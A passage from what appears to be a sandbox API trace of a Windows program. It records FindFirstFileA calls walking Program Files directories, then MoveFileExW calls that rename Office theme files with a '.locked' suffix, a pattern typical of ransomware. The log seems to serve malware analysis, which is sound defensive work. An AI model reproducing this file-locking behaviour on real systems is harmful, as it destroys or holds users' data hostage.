cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.486] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb789a100, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb789a100, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.497] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb78c0260, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb78c0260, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.501] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb78c0260, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb78c0260, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.507] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb78e63c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb78e63c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.512] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb78e63c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb78e63c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.515] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb78e63c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb78e63c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.520] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb78e63c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb78e63c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.535] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb790c520, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb790c520, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.539] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb7932680, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7932680, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.545] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb7932680, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7932680, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.548] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb7932680, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7932680, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.550] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Internet Explorer\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7932680, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7932680, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0034.553] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb7932680, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7932680, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0034.555] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb79587e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb79587e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0034.556] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb79587e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb79587e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0034.558] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb79587e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb79587e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0034.561] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb79587e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb79587e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.565] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb79587e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb79587e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.567] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb79587e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb79587e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.569] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb797e940, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb797e940, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.570] GetFileType (hFile=0x108) returned 0x1 [0034.571] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb797e940, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb797e940, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0034.574] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb797e940, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb797e940, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0034.578] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb797e940, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb797e940, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.621] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb79f0d60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb79f0d60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.627] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb79f0d60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb79f0d60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.631] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb79f0d60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb79f0d60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0034.635] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7a16ec0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7a16ec0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f7, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.638] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.locked"), dwFlags=0x2) returned 1 [0034.641] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.locked"), dwFlags=0x2) returned 1 [0034.644] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.locked"), dwFlags=0x2) returned 1 [0034.649] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.locked"), dwFlags=0x2) returned 1 [0034.652] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.locked"), dwFlags=0x2) returned 1 [0034.655] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.locked"), dwFlags=0x2) returned 1 [0034.657] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.locked"), dwFlags=0x2) returned 1 [0034.674] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.locked"), dwFlags=0x2) returned 1 [0034.677] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.locked"), dwFlags=0x2) returned 1 [0034.680] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.locked"), dwFlags=0x2) returned 1 [0034.683] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.locked"), dwFlags=0x2) returned 1 [0034.687] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.locked"), dwFlags=0x2) returned 1 [0034.693] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.locked"), dwFlags=0x2) returned 1 [0034.696] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.locked"), dwFlags=0x2) returned 1 [0034.699] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.locked"), dwFlags=0x2) returned 1 [0034.702] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.locked"), dwFlags=0x2) returned 1 [0034.705] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.locked"), dwFlags=0x2) returned 1 [0034.709] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.locked"), dwFlags=0x2) returned 1 [0034.834] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml.locked"), dwFlags=0x2) returned 1 [0034.837] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml.locked"), dwFlags=0x2) returned 1 [0034.840] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml.locked"), dwFlags=0x2) returned 1 [0034.842] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml.locked"), dwFlags=0x2) returned 1 [0034.845] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml.locked"), dwFlags=0x2) returned 1 [0034.848] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml.locked"), dwFlags=0x2) returned 1 [0034.852] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.locked" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme 